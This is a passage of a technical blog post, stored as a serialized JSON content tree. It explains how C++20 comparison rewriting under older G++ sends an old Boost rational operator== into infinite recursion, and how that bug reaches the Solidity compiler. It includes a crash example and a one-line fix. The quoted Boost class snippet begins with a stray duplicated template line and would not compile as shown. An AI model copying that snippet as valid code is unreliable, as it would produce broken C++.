",{"type":22,"tag":69,"props":92315,"children":92318},{"href":92316,"rel":92317},"https://en.cppreference.com/w/cpp/language/operator_comparison",[73],[92319,92321],{"type":27,"value":92320},"spaceship operator ",{"type":22,"tag":257,"props":92322,"children":92324},{"className":92323},[],[92325],{"type":27,"value":92326},"\u003C=>",{"type":27,"value":12290},{"type":22,"tag":242,"props":92329,"children":92330},{},[92331],{"type":27,"value":92332},"defaulted comparison rewrites",{"type":27,"value":210},{"type":22,"tag":23,"props":92335,"children":92336},{},[92337,92339,92344],{"type":27,"value":92338},"When you define a two-argument ",{"type":22,"tag":257,"props":92340,"children":92342},{"className":92341},[],[92343],{"type":27,"value":91578},{"type":27,"value":92345},", C++20 may implicitly define the \"reversed\" version:",{"type":22,"tag":17988,"props":92347,"children":92348},{},[92349,92360],{"type":22,"tag":1871,"props":92350,"children":92351},{},[92352,92354],{"type":27,"value":92353},"If you define: ",{"type":22,"tag":257,"props":92355,"children":92357},{"className":92356},[],[92358],{"type":27,"value":92359},"bool operator==(T1, T2);",{"type":22,"tag":1871,"props":92361,"children":92362},{},[92363,92365,92371],{"type":27,"value":92364},"Then ",{"type":22,"tag":257,"props":92366,"children":92368},{"className":92367},[],[92369],{"type":27,"value":92370},"T2 == T1",{"type":27,"value":92372}," may call the same function by reversing the arguments.",{"type":22,"tag":23,"props":92374,"children":92375},{},[92376,92378,92383,92384,92389,92391,92397,92399,92404],{"type":27,"value":92377},"This rewrite is ",{"type":22,"tag":242,"props":92379,"children":92380},{},[92381],{"type":27,"value":92382},"recursive",{"type":27,"value":1594},{"type":22,"tag":257,"props":92385,"children":92387},{"className":92386},[],[92388],{"type":27,"value":91570},{"type":27,"value":92390}," becomes ",{"type":22,"tag":257,"props":92392,"children":92394},{"className":92393},[],[92395],{"type":27,"value":92396},"b == a",{"type":27,"value":92398},", which becomes ",{"type":22,"tag":257,"props":92400,"children":92402},{"className":92401},[],[92403],{"type":27,"value":91570},{"type":27,"value":92405}," again, and so on — if not handled carefully.",{"type":22,"tag":23,"props":92407,"children":92408},{},[92409],{"type":27,"value":92410},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":22,"tag":20097,"props":92412,"children":92413},{},[],{"type":22,"tag":169,"props":92415,"children":92417},{"id":92416},"part-iii-the-boost-trapdoor",[92418],{"type":27,"value":92419},"Part III: The Boost Trapdoor",{"type":22,"tag":23,"props":92421,"children":92422},{},[92423,92425,92431,92433,92438],{"type":27,"value":92424},"The old Boost ",{"type":22,"tag":257,"props":92426,"children":92428},{"className":92427},[],[92429],{"type":27,"value":92430},"rational",{"type":27,"value":92432}," class (prior to v1.75) defined both member function and non-member function of ",{"type":22,"tag":257,"props":92434,"children":92436},{"className":92435},[],[92437],{"type":27,"value":91578},{"type":27,"value":5785},{"type":22,"tag":618,"props":92440,"children":92442},{"code":92441,"language":30426,"meta":7,"className":30424,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; \n}\n",[92443],{"type":22,"tag":257,"props":92444,"children":92445},{"__ignoreMap":7},[92446,92481,92504,92516,92523,92530,92537,92544,92551,92574,92662,92669,92720,92727,92734,92741,92748,92783,92791,92819,92858,92923,92930,92950],{"type":22,"tag":264,"props":92447,"children":92448},{"class":1534,"line":1535},[92449,92453,92457,92461,92465,92469,92473,92477],{"type":22,"tag":264,"props":92450,"children":92451},{"style":4293},[92452],{"type":27,"value":67539},{"type":22,"tag":264,"props":92454,"children":92455},{"style":1539},[92456],{"type":27,"value":10014},{"type":22,"tag":264,"props":92458,"children":92459},{"style":4293},[92460],{"type":27,"value":71734},{"type":22,"tag":264,"props":92462,"children":92463},{"style":4722},[92464],{"type":27,"value":91952},{"type":22,"tag":264,"props":92466,"children":92467},{"style":1539},[92468],{"type":27,"value":4380},{"type":22,"tag":264,"props":92470,"children":92471},{"style":4293},[92472],{"type":27,"value":71734},{"type":22,"tag":264,"props":92474,"children":92475},{"style":4722},[92476],{"type":27,"value":91771},{"type":22,"tag":264,"props":92478,"children":92479},{"style":1539},[92480],{"type":27,"value":7284},{"type":22,"tag":264,"props":92482,"children":92483},{"class":1534,"line":1545},[92484,92488,92492,92496,92500],{"type":22,"tag":264,"props":92485,"children":92486},{"style":4293},[92487],{"type":27,"value":67539},{"type":22,"tag":264,"props":92489,"children":92490},{"style":1539},[92491],{"type":27,"value":10014},{"type":22,"tag":264,"props":92493,"children":92494},{"style":4293},[92495],{"type":27,"value":91766},{"type":22,"tag":264,"props":92497,"children":92498},{"style":4722},[92499],{"type":27,"value":91771},{"type":22,"tag":264,"props":92501,"children":92502},{"style":1539},[92503],{"type":27,"value":7284},{"type":22,"tag":264,"props":92505,"children":92506},{"class":1534,"line":1560},[92507,92511],{"type":22,"tag":264,"props":92508,"children":92509},{"style":4293},[92510],{"type":27,"value":71734},{"type":22,"tag":264,"props":92512,"children":92513},{"style":4722},[92514],{"type":27,"value":92515}," rational\n",{"type":22,"tag":264,"props":92517,"children":92518},{"class":1534,"line":1569},[92519],{"type":22,"tag":264,"props":92520,"children":92521},{"style":1539},[92522],{"type":27,"value":1542},{"type":22,"tag":264,"props":92524,"children":92525},{"class":1534,"line":1583},[92526],{"type":22,"tag":264,"props":92527,"children":92528},{"style":1539},[92529],{"type":27,"value":21646},{"type":22,"tag":264,"props":92531,"children":92532},{"class":1534,"line":1603},[92533],{"type":22,"tag":264,"props":92534,"children":92535},{"style":4293},[92536],{"type":27,"value":91799},{"type":22,"tag":264,"props":92538,"children":92539},{"class":1534,"line":1612},[92540],{"type":22,"tag":264,"props":92541,"children":92542},{"style":1539},[92543],{"type":27,"value":21646},{"type":22,"tag":264,"props":92545,"children":92546},{"class":1534,"line":1621},[92547],{"type":22,"tag":264,"props":92548,"children":92549},{"style":1539},[92550],{"type":27,"value":63108},{"type":22,"tag":264,"props":92552,"children":92553},{"class":1534,"line":1629},[92554,92558,92562,92566,92570],{"type":22,"tag":264,"props":92555,"children":92556},{"style":4293},[92557],{"type":27,"value":91807},{"type":22,"tag":264,"props":92559,"children":92560},{"style":1539},[92561],{"type":27,"value":10014},{"type":22,"tag":264,"props":92563,"children":92564},{"style":4293},[92565],{"type":27,"value":71734},{"type":22,"tag":264,"props":92567,"children":92568},{"style":4722},[92569],{"type":27,"value":7210},{"type":22,"tag":264,"props":92571,"children":92572},{"style":1539},[92573],{"type":27,"value":7284},{"type":22,"tag":264,"props":92575,"children":92576},{"class":1534,"line":1642},[92577,92582,92586,92591,92595,92599,92603,92608,92612,92616,92620,92624,92628,92632,92637,92641,92645,92649,92653,92657],{"type":22,"tag":264,"props":92578,"children":92579},{"style":1539},[92580],{"type":27,"value":92581},"    BOOST_CONSTEXPR ",{"type":22,"tag":264,"props":92583,"children":92584},{"style":4293},[92585],{"type":27,"value":91766},{"type":22,"tag":264,"props":92587,"children":92588},{"style":1539},[92589],{"type":27,"value":92590}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":22,"tag":264,"props":92592,"children":92593},{"style":4722},[92594],{"type":27,"value":7279},{"type":22,"tag":264,"props":92596,"children":92597},{"style":1539},[92598],{"type":27,"value":4380},{"type":22,"tag":264,"props":92600,"children":92601},{"style":4722},[92602],{"type":27,"value":92000},{"type":22,"tag":264,"props":92604,"children":92605},{"style":1539},[92606],{"type":27,"value":92607},">::",{"type":22,"tag":264,"props":92609,"children":92610},{"style":4722},[92611],{"type":27,"value":40466},{"type":22,"tag":264,"props":92613,"children":92614},{"style":1539},[92615],{"type":27,"value":4380},{"type":22,"tag":264,"props":92617,"children":92618},{"style":4293},[92619],{"type":27,"value":30999},{"type":22,"tag":264,"props":92621,"children":92622},{"style":1539},[92623],{"type":27,"value":92607},{"type":22,"tag":264,"props":92625,"children":92626},{"style":4722},[92627],{"type":27,"value":34072},{"type":22,"tag":264,"props":92629,"children":92630},{"style":4293},[92631],{"type":27,"value":91835},{"type":22,"tag":264,"props":92633,"children":92634},{"style":1539},[92635],{"type":27,"value":92636},"== (",{"type":22,"tag":264,"props":92638,"children":92639},{"style":4293},[92640],{"type":27,"value":10953},{"type":22,"tag":264,"props":92642,"children":92643},{"style":4722},[92644],{"type":27,"value":7210},{"type":22,"tag":264,"props":92646,"children":92647},{"style":4293},[92648],{"type":27,"value":4413},{"type":22,"tag":264,"props":92650,"children":92651},{"style":1549},[92652],{"type":27,"value":4701},{"type":22,"tag":264,"props":92654,"children":92655},{"style":1539},[92656],{"type":27,"value":4390},{"type":22,"tag":264,"props":92658,"children":92659},{"style":4293},[92660],{"type":27,"value":92661},"const\n",{"type":22,"tag":264,"props":92663,"children":92664},{"class":1534,"line":1660},[92665],{"type":22,"tag":264,"props":92666,"children":92667},{"style":1539},[92668],{"type":27,"value":1566},{"type":22,"tag":264,"props":92670,"children":92671},{"class":1534,"line":1668},[92672,92677,92682,92686,92690,92694,92698,92702,92706,92711,92715],{"type":22,"tag":264,"props":92673,"children":92674},{"style":4328},[92675],{"type":27,"value":92676},"       return",{"type":22,"tag":264,"props":92678,"children":92679},{"style":1539},[92680],{"type":27,"value":92681}," ((den ",{"type":22,"tag":264,"props":92683,"children":92684},{"style":4309},[92685],{"type":27,"value":9870},{"type":22,"tag":264,"props":92687,"children":92688},{"style":4401},[92689],{"type":27,"value":91771},{"type":22,"tag":264,"props":92691,"children":92692},{"style":1539},[92693],{"type":27,"value":2660},{"type":22,"tag":264,"props":92695,"children":92696},{"style":4344},[92697],{"type":27,"value":602},{"type":22,"tag":264,"props":92699,"children":92700},{"style":1539},[92701],{"type":27,"value":10132},{"type":22,"tag":264,"props":92703,"children":92704},{"style":4309},[92705],{"type":27,"value":74521},{"type":22,"tag":264,"props":92707,"children":92708},{"style":1539},[92709],{"type":27,"value":92710}," (num ",{"type":22,"tag":264,"props":92712,"children":92713},{"style":4309},[92714],{"type":27,"value":9870},{"type":22,"tag":264,"props":92716,"children":92717},{"style":1539},[92718],{"type":27,"value":92719}," i));\n",{"type":22,"tag":264,"props":92721,"children":92722},{"class":1534,"line":1677},[92723],{"type":22,"tag":264,"props":92724,"children":92725},{"style":1539},[92726],{"type":27,"value":1674},{"type":22,"tag":264,"props":92728,"children":92729},{"class":1534,"line":1686},[92730],{"type":22,"tag":264,"props":92731,"children":92732},{"style":1539},[92733],{"type":27,"value":21646},{"type":22,"tag":264,"props":92735,"children":92736},{"class":1534,"line":4948},[92737],{"type":22,"tag":264,"props":92738,"children":92739},{"style":1539},[92740],{"type":27,"value":1692},{"type":22,"tag":264,"props":92742,"children":92743},{"class":1534,"line":4957},[92744],{"type":22,"tag":264,"props":92745,"children":92746},{"emptyLinePlaceholder":17},[92747],{"type":27,"value":4986},{"type":22,"tag":264,"props":92749,"children":92750},{"class":1534,"line":4980},[92751,92755,92759,92763,92767,92771,92775,92779],{"type":22,"tag":264,"props":92752,"children":92753},{"style":4293},[92754],{"type":27,"value":67539},{"type":22,"tag":264,"props":92756,"children":92757},{"style":1539},[92758],{"type":27,"value":10014},{"type":22,"tag":264,"props":92760,"children":92761},{"style":4293},[92762],{"type":27,"value":71734},{"type":22,"tag":264,"props":92764,"children":92765},{"style":4722},[92766],{"type":27,"value":91952},{"type":22,"tag":264,"props":92768,"children":92769},{"style":1539},[92770],{"type":27,"value":4380},{"type":22,"tag":264,"props":92772,"children":92773},{"style":4293},[92774],{"type":27,"value":71734},{"type":22,"tag":264,"props":92776,"children":92777},{"style":4722},[92778],{"type":27,"value":91771},{"type":22,"tag":264,"props":92780,"children":92781},{"style":1539},[92782],{"type":27,"value":7284},{"type":22,"tag":264,"props":92784,"children":92785},{"class":1534,"line":4989},[92786],{"type":22,"tag":264,"props":92787,"children":92788},{"style":1539},[92789],{"type":27,"value":92790},"BOOST_CONSTEXPR\n",{"type":22,"tag":264,"props":92792,"children":92793},{"class":1534,"line":4998},[92794,92799,92804,92809,92814],{"type":22,"tag":264,"props":92795,"children":92796},{"style":4293},[92797],{"type":27,"value":92798},"inline",{"type":22,"tag":264,"props":92800,"children":92801},{"style":4293},[92802],{"type":27,"value":92803}," typename",{"type":22,"tag":264,"props":92805,"children":92806},{"style":1539},[92807],{"type":27,"value":92808}," boost::",{"type":22,"tag":264,"props":92810,"children":92811},{"style":4722},[92812],{"type":27,"value":92813},"enable_if_c",{"type":22,"tag":264,"props":92815,"children":92816},{"style":4309},[92817],{"type":27,"value":92818}," \u003C\n",{"type":22,"tag":264,"props":92820,"children":92821},{"class":1534,"line":5067},[92822,92827,92832,92836,92840,92845,92849,92853],{"type":22,"tag":264,"props":92823,"children":92824},{"style":1539},[92825],{"type":27,"value":92826},"   rational_detail::is_compatible_integer\u003C",{"type":22,"tag":264,"props":92828,"children":92829},{"style":4722},[92830],{"type":27,"value":92831},"Arg",{"type":22,"tag":264,"props":92833,"children":92834},{"style":1539},[92835],{"type":27,"value":4380},{"type":22,"tag":264,"props":92837,"children":92838},{"style":4722},[92839],{"type":27,"value":92000},{"type":22,"tag":264,"props":92841,"children":92842},{"style":1539},[92843],{"type":27,"value":92844},">::value, ",{"type":22,"tag":264,"props":92846,"children":92847},{"style":4293},[92848],{"type":27,"value":30999},{"type":22,"tag":264,"props":92850,"children":92851},{"style":4309},[92852],{"type":27,"value":11760},{"type":22,"tag":264,"props":92854,"children":92855},{"style":1539},[92856],{"type":27,"value":92857},"::type\n",{"type":22,"tag":264,"props":92859,"children":92860},{"class":1534,"line":5075},[92861,92866,92871,92875,92879,92883,92887,92891,92895,92899,92903,92907,92911,92915,92919],{"type":22,"tag":264,"props":92862,"children":92863},{"style":4293},[92864],{"type":27,"value":92865},"   operator",{"type":22,"tag":264,"props":92867,"children":92868},{"style":1539},[92869],{"type":27,"value":92870}," == (",{"type":22,"tag":264,"props":92872,"children":92873},{"style":4293},[92874],{"type":27,"value":10953},{"type":22,"tag":264,"props":92876,"children":92877},{"style":4722},[92878],{"type":27,"value":91952},{"type":22,"tag":264,"props":92880,"children":92881},{"style":4293},[92882],{"type":27,"value":4413},{"type":22,"tag":264,"props":92884,"children":92885},{"style":1549},[92886],{"type":27,"value":92033},{"type":22,"tag":264,"props":92888,"children":92889},{"style":1539},[92890],{"type":27,"value":4380},{"type":22,"tag":264,"props":92892,"children":92893},{"style":4293},[92894],{"type":27,"value":10953},{"type":22,"tag":264,"props":92896,"children":92897},{"style":4722},[92898],{"type":27,"value":91787},{"type":22,"tag":264,"props":92900,"children":92901},{"style":1539},[92902],{"type":27,"value":7097},{"type":22,"tag":264,"props":92904,"children":92905},{"style":4722},[92906],{"type":27,"value":92000},{"type":22,"tag":264,"props":92908,"children":92909},{"style":1539},[92910],{"type":27,"value":11760},{"type":22,"tag":264,"props":92912,"children":92913},{"style":4293},[92914],{"type":27,"value":4413},{"type":22,"tag":264,"props":92916,"children":92917},{"style":1549},[92918],{"type":27,"value":91159},{"type":22,"tag":264,"props":92920,"children":92921},{"style":1539},[92922],{"type":27,"value":4463},{"type":22,"tag":264,"props":92924,"children":92925},{"class":1534,"line":5105},[92926],{"type":22,"tag":264,"props":92927,"children":92928},{"style":1539},[92929],{"type":27,"value":1542},{"type":22,"tag":264,"props":92931,"children":92932},{"class":1534,"line":5113},[92933,92937,92941,92945],{"type":22,"tag":264,"props":92934,"children":92935},{"style":4328},[92936],{"type":27,"value":40671},{"type":22,"tag":264,"props":92938,"children":92939},{"style":1539},[92940],{"type":27,"value":18066},{"type":22,"tag":264,"props":92942,"children":92943},{"style":4309},[92944],{"type":27,"value":9870},{"type":22,"tag":264,"props":92946,"children":92947},{"style":1539},[92948],{"type":27,"value":92949}," b; \n",{"type":22,"tag":264,"props":92951,"children":92952},{"class":1534,"line":5145},[92953],{"type":22,"tag":264,"props":92954,"children":92955},{"style":1539},[92956],{"type":27,"value":1692},{"type":22,"tag":23,"props":92958,"children":92959},{},[92960,92962,92968],{"type":27,"value":92961},"This was designed under C++17 semantics. Back then, ",{"type":22,"tag":257,"props":92963,"children":92965},{"className":92964},[],[92966],{"type":27,"value":92967},"rhs == lhs",{"type":27,"value":92969}," would fall back to member overloads if available. All good.",{"type":22,"tag":23,"props":92971,"children":92972},{},[92973,92975,92980,92981,92987],{"type":27,"value":92974},"But under ",{"type":22,"tag":257,"props":92976,"children":92978},{"className":92977},[],[92979],{"type":27,"value":91524},{"type":27,"value":22811},{"type":22,"tag":257,"props":92982,"children":92984},{"className":92983},[],[92985],{"type":27,"value":92986},"G++ \u003C 14",{"type":27,"value":5785},{"type":22,"tag":17988,"props":92989,"children":92990},{},[92991,92996,93001,93006],{"type":22,"tag":1871,"props":92992,"children":92993},{},[92994],{"type":27,"value":92995},"G++ incorrectly chooses this non-member operator first",{"type":22,"tag":1871,"props":92997,"children":92998},{},[92999],{"type":27,"value":93000},"C++20 reverses the comparison",{"type":22,"tag":1871,"props":93002,"children":93003},{},[93004],{"type":27,"value":93005},"Which calls the same function again with arguments flipped",{"type":22,"tag":1871,"props":93007,"children":93008},{},[93009],{"type":27,"value":93010},"And so on...",{"type":22,"tag":23,"props":93012,"children":93013},{},[93014,93016,93021],{"type":27,"value":93015},"This creates ",{"type":22,"tag":242,"props":93017,"children":93018},{},[93019],{"type":27,"value":93020},"infinite recursion",{"type":27,"value":210},{"type":22,"tag":23,"props":93023,"children":93024},{},[93025],{"type":27,"value":93026},"A minimal example:",{"type":22,"tag":618,"props":93028,"children":93030},{"code":93029,"language":30426,"meta":7,"className":30424,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[93031],{"type":22,"tag":257,"props":93032,"children":93033},{"__ignoreMap":7},[93034,93042,93054,93061,93076,93100,93123],{"type":22,"tag":264,"props":93035,"children":93036},{"class":1534,"line":1535},[93037],{"type":22,"tag":264,"props":93038,"children":93039},{"style":4284},[93040],{"type":27,"value":93041},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":22,"tag":264,"props":93043,"children":93044},{"class":1534,"line":1545},[93045,93049],{"type":22,"tag":264,"props":93046,"children":93047},{"style":4328},[93048],{"type":27,"value":91738},{"type":22,"tag":264,"props":93050,"children":93051},{"style":1597},[93052],{"type":27,"value":93053}," \u003Cboost/rational.hpp>\n",{"type":22,"tag":264,"props":93055,"children":93056},{"class":1534,"line":1560},[93057],{"type":22,"tag":264,"props":93058,"children":93059},{"emptyLinePlaceholder":17},[93060],{"type":27,"value":4986},{"type":22,"tag":264,"props":93062,"children":93063},{"class":1534,"line":1569},[93064,93068,93072],{"type":22,"tag":264,"props":93065,"children":93066},{"style":4293},[93067],{"type":27,"value":20352},{"type":22,"tag":264,"props":93069,"children":93070},{"style":4401},[93071],{"type":27,"value":92103},{"type":22,"tag":264,"props":93073,"children":93074},{"style":1539},[93075],{"type":27,"value":17036},{"type":22,"tag":264,"props":93077,"children":93078},{"class":1534,"line":1583},[93079,93084,93088,93092,93096],{"type":22,"tag":264,"props":93080,"children":93081},{"style":1539},[93082],{"type":27,"value":93083},"    boost::rational",{"type":22,"tag":264,"props":93085,"children":93086},{"style":4309},[93087],{"type":27,"value":7097},{"type":22,"tag":264,"props":93089,"children":93090},{"style":4293},[93091],{"type":27,"value":20352},{"type":22,"tag":264,"props":93093,"children":93094},{"style":4309},[93095],{"type":27,"value":11760},{"type":22,"tag":264,"props":93097,"children":93098},{"style":1539},[93099],{"type":27,"value":92132},{"type":22,"tag":264,"props":93101,"children":93102},{"class":1534,"line":1603},[93103,93107,93111,93115,93119],{"type":22,"tag":264,"props":93104,"children":93105},{"style":4328},[93106],{"type":27,"value":18291},{"type":22,"tag":264,"props":93108,"children":93109},{"style":1539},[93110],{"type":27,"value":92144},{"type":22,"tag":264,"props":93112,"children":93113},{"style":4309},[93114],{"type":27,"value":9870},{"type":22,"tag":264,"props":93116,"children":93117},{"style":4344},[93118],{"type":27,"value":4347},{"type":22,"tag":264,"props":93120,"children":93121},{"style":1539},[93122],{"type":27,"value":4322},{"type":22,"tag":264,"props":93124,"children":93125},{"class":1534,"line":1612},[93126],{"type":22,"tag":264,"props":93127,"children":93128},{"style":1539},[93129],{"type":27,"value":1692},{"type":22,"tag":23,"props":93131,"children":93132},{},[93133],{"type":27,"value":93134},"Expected output: nothing.",{"type":22,"tag":23,"props":93136,"children":93137},{},[93138],{"type":27,"value":93139},"Actual: segmentation fault (stack overflow).",{"type":22,"tag":23,"props":93141,"children":93142},{},[93143,93145,93152],{"type":27,"value":93144},"This exact pattern was ",{"type":22,"tag":69,"props":93146,"children":93149},{"href":93147,"rel":93148},"https://github.com/boostorg/rational/issues/43",[73],[93150],{"type":27,"value":93151},"reported and fixed in Boost rational",{"type":27,"value":93153},", but only in version 1.75+.",{"type":22,"tag":23,"props":93155,"children":93156},{},[93157],{"type":27,"value":93158},"Here’s the one-line fix:",{"type":22,"tag":618,"props":93160,"children":93162},{"code":93161,"language":41677,"meta":7,"className":41675,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n",[93163],{"type":22,"tag":257,"props":93164,"children":93165},{"__ignoreMap":7},[93166,93174,93181,93189,93197,93205,93212,93220,93228],{"type":22,"tag":264,"props":93167,"children":93168},{"class":1534,"line":1535},[93169],{"type":22,"tag":264,"props":93170,"children":93171},{"style":1539},[93172],{"type":27,"value":93173},"template \u003Cclass Arg, class IntType>\n",{"type":22,"tag":264,"props":93175,"children":93176},{"class":1534,"line":1545},[93177],{"type":22,"tag":264,"props":93178,"children":93179},{"style":1539},[93180],{"type":27,"value":92790},{"type":22,"tag":264,"props":93182,"children":93183},{"class":1534,"line":1560},[93184],{"type":22,"tag":264,"props":93185,"children":93186},{"style":1539},[93187],{"type":27,"value":93188},"inline typename boost::enable_if_c \u003C\n",{"type":22,"tag":264,"props":93190,"children":93191},{"class":1534,"line":1569},[93192],{"type":22,"tag":264,"props":93193,"children":93194},{"style":1539},[93195],{"type":27,"value":93196},"   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":22,"tag":264,"props":93198,"children":93199},{"class":1534,"line":1583},[93200],{"type":22,"tag":264,"props":93201,"children":93202},{"style":1539},[93203],{"type":27,"value":93204},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":22,"tag":264,"props":93206,"children":93207},{"class":1534,"line":1603},[93208],{"type":22,"tag":264,"props":93209,"children":93210},{"style":1539},[93211],{"type":27,"value":1542},{"type":22,"tag":264,"props":93213,"children":93214},{"class":1534,"line":1612},[93215],{"type":22,"tag":264,"props":93216,"children":93217},{"style":1597},[93218],{"type":27,"value":93219},"-     return a == b;\n",{"type":22,"tag":264,"props":93221,"children":93222},{"class":1534,"line":1621},[93223],{"type":22,"tag":264,"props":93224,"children":93225},{"style":4344},[93226],{"type":27,"value":93227},"+     return a.operator==(b);\n",{"type":22,"tag":264,"props":93229,"children":93230},{"class":1534,"line":1629},[93231],{"type":22,"tag":264,"props":93232,"children":93233},{"style":1539},[93234],{"type":27,"value":1692},{"type":22,"tag":23,"props":93236,"children":93237},{},[93238,93240,93245,93247,93252],{"type":27,"value":93239},"Instead of calling ",{"type":22,"tag":257,"props":93241,"children":93243},{"className":93242},[],[93244],{"type":27,"value":91570},{"type":27,"value":93246}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":22,"tag":257,"props":93248,"children":93250},{"className":93249},[],[93251],{"type":27,"value":91578},{"type":27,"value":210},{"type":22,"tag":23,"props":93254,"children":93255},{},[93256],{"type":27,"value":93257},"This prevents C++20 from triggering recursive rewrites.",{"type":22,"tag":20097,"props":93259,"children":93260},{},[],{"type":22,"tag":169,"props":93262,"children":93264},{"id":93263},"part-iv-how-this-breaks-solidity",[93265],{"type":27,"value":93266},"Part IV: How This Breaks Solidity",{"type":22,"tag":23,"props":93268,"children":93269},{},[93270,93272,93277],{"type":27,"value":93271},"The Solidity codebase uses ",{"type":22,"tag":257,"props":93273,"children":93275},{"className":93274},[],[93276],{"type":27,"value":91425},{"type":27,"value":93278}," to represent certain compile-time constant expressions.",{"type":22,"tag":23,"props":93280,"children":93281},{},[93282,93284,93290],{"type":27,"value":93283},"One snippet that can trigger this issue appears in ",{"type":22,"tag":257,"props":93285,"children":93287},{"className":93286},[],[93288],{"type":27,"value":93289},"DeclarationTypeChecker::endVisit",{"type":27,"value":5785},{"type":22,"tag":618,"props":93292,"children":93294},{"code":93293,"language":30426,"meta":7,"className":30424,"style":7},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[93295],{"type":22,"tag":257,"props":93296,"children":93297},{"__ignoreMap":7},[93298,93345,93370,93377,93455,93462,93515,93543,93550,93570,93577,93617,93624],{"type":22,"tag":264,"props":93299,"children":93300},{"class":1534,"line":1535},[93301,93305,93310,93314,93318,93323,93327,93332,93336,93340],{"type":22,"tag":264,"props":93302,"children":93303},{"style":4328},[93304],{"type":27,"value":16879},{"type":22,"tag":264,"props":93306,"children":93307},{"style":1539},[93308],{"type":27,"value":93309}," (Expression ",{"type":22,"tag":264,"props":93311,"children":93312},{"style":4293},[93313],{"type":27,"value":10953},{"type":22,"tag":264,"props":93315,"children":93316},{"style":4309},[93317],{"type":27,"value":5865},{"type":22,"tag":264,"props":93319,"children":93320},{"style":1539},[93321],{"type":27,"value":93322}," length ",{"type":22,"tag":264,"props":93324,"children":93325},{"style":4309},[93326],{"type":27,"value":429},{"type":22,"tag":264,"props":93328,"children":93329},{"style":1549},[93330],{"type":27,"value":93331}," _typeName",{"type":22,"tag":264,"props":93333,"children":93334},{"style":1539},[93335],{"type":27,"value":210},{"type":22,"tag":264,"props":93337,"children":93338},{"style":4401},[93339],{"type":27,"value":9798},{"type":22,"tag":264,"props":93341,"children":93342},{"style":1539},[93343],{"type":27,"value":93344},"()) {\n",{"type":22,"tag":264,"props":93346,"children":93347},{"class":1534,"line":1545},[93348,93353,93357,93361,93365],{"type":22,"tag":264,"props":93349,"children":93350},{"style":1539},[93351],{"type":27,"value":93352},"    std::optional",{"type":22,"tag":264,"props":93354,"children":93355},{"style":4309},[93356],{"type":27,"value":7097},{"type":22,"tag":264,"props":93358,"children":93359},{"style":1539},[93360],{"type":27,"value":92430},{"type":22,"tag":264,"props":93362,"children":93363},{"style":4309},[93364],{"type":27,"value":11760},{"type":22,"tag":264,"props":93366,"children":93367},{"style":1539},[93368],{"type":27,"value":93369}," lengthValue;\n",{"type":22,"tag":264,"props":93371,"children":93372},{"class":1534,"line":1560},[93373],{"type":22,"tag":264,"props":93374,"children":93375},{"emptyLinePlaceholder":17},[93376],{"type":27,"value":4986},{"type":22,"tag":264,"props":93378,"children":93379},{"class":1534,"line":1569},[93380,93384,93388,93392,93396,93400,93404,93408,93412,93417,93421,93425,93429,93433,93437,93442,93446,93450],{"type":22,"tag":264,"props":93381,"children":93382},{"style":4328},[93383],{"type":27,"value":13578},{"type":22,"tag":264,"props":93385,"children":93386},{"style":1539},[93387],{"type":27,"value":4370},{"type":22,"tag":264,"props":93389,"children":93390},{"style":1549},[93391],{"type":27,"value":9798},{"type":22,"tag":264,"props":93393,"children":93394},{"style":1539},[93395],{"type":27,"value":15056},{"type":22,"tag":264,"props":93397,"children":93398},{"style":4401},[93399],{"type":27,"value":31477},{"type":22,"tag":264,"props":93401,"children":93402},{"style":1539},[93403],{"type":27,"value":31482},{"type":22,"tag":264,"props":93405,"children":93406},{"style":1549},[93407],{"type":27,"value":34072},{"type":22,"tag":264,"props":93409,"children":93410},{"style":4309},[93411],{"type":27,"value":15484},{"type":22,"tag":264,"props":93413,"children":93414},{"style":1549},[93415],{"type":27,"value":93416}," length",{"type":22,"tag":264,"props":93418,"children":93419},{"style":1539},[93420],{"type":27,"value":15056},{"type":22,"tag":264,"props":93422,"children":93423},{"style":4401},[93424],{"type":27,"value":31477},{"type":22,"tag":264,"props":93426,"children":93427},{"style":1539},[93428],{"type":27,"value":31482},{"type":22,"tag":264,"props":93430,"children":93431},{"style":1549},[93432],{"type":27,"value":34072},{"type":22,"tag":264,"props":93434,"children":93435},{"style":1539},[93436],{"type":27,"value":15056},{"type":22,"tag":264,"props":93438,"children":93439},{"style":4401},[93440],{"type":27,"value":93441},"category",{"type":22,"tag":264,"props":93443,"children":93444},{"style":1539},[93445],{"type":27,"value":15342},{"type":22,"tag":264,"props":93447,"children":93448},{"style":4309},[93449],{"type":27,"value":9870},{"type":22,"tag":264,"props":93451,"children":93452},{"style":1539},[93453],{"type":27,"value":93454}," 